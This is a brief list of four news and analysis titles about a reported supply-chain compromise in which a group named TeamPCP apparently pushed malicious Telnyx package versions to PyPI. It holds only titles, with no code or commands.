- The Hacker News: TeamPCP Pushes Malicious Telnyx Versions to PyPI
- OX Security: Telnyx Malware Analysis
- Cybersecurity News: Telnyx PyPI Package Compromised
- Help Net Security: TeamPCP Telnyx Supply Chain Compromise
